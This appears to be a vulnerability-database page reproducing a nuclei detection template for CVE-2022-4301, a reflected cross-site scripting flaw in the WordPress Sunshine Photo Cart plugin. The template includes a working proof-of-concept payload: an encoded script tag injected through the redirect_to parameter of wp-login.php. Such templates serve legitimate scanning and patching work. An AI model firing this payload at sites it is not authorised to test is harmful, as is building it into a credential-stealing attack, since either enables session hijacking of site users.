Lucene search
+L

WordPress Sunshine Photo Cart <2.9.15 - Cross-Site Scripting

🗓️ 26 Sep 2026 02:05:07Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 48 Views

WordPress Sunshine Photo Cart <2.9.15 - Cross-Site Scripting vulnerabilit

Related
Refs
Code
id: CVE-2022-4301

info:
  name: WordPress Sunshine Photo Cart <2.9.15 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress Sunshine Photo Cart plugin before 2.9.15 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Fixed in version 2.9.15.
  reference:
    - https://wpscan.com/vulnerability/a8dca528-fb70-44f3-8149-21385039179d
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4301
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-4301
    cwe-id: CWE-79
    epss-score: 0.00902
    epss-percentile: 0.58055
    cpe: cpe:2.3:a:sunshinephotocart:sunshine_photo_cart:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: sunshinephotocart
    product: sunshine_photo_cart
    framework: wordpress
  tags: cve2022,cve,xss,sunshine,wordpress,wp-plugin,wpscan,unauth,sunshinephotocart,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-login.php?action=register&redirect_to=x%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - 'Registration Form'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022076f864c30590069ea15ca7cf6bbcee916e7fd82c7e24d5b94268c3fda4e1fd79022100a71d37900fc6145d9a62dc2ed3c59df486d9f21b3bbfd8be9a694a28798ef4c3:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation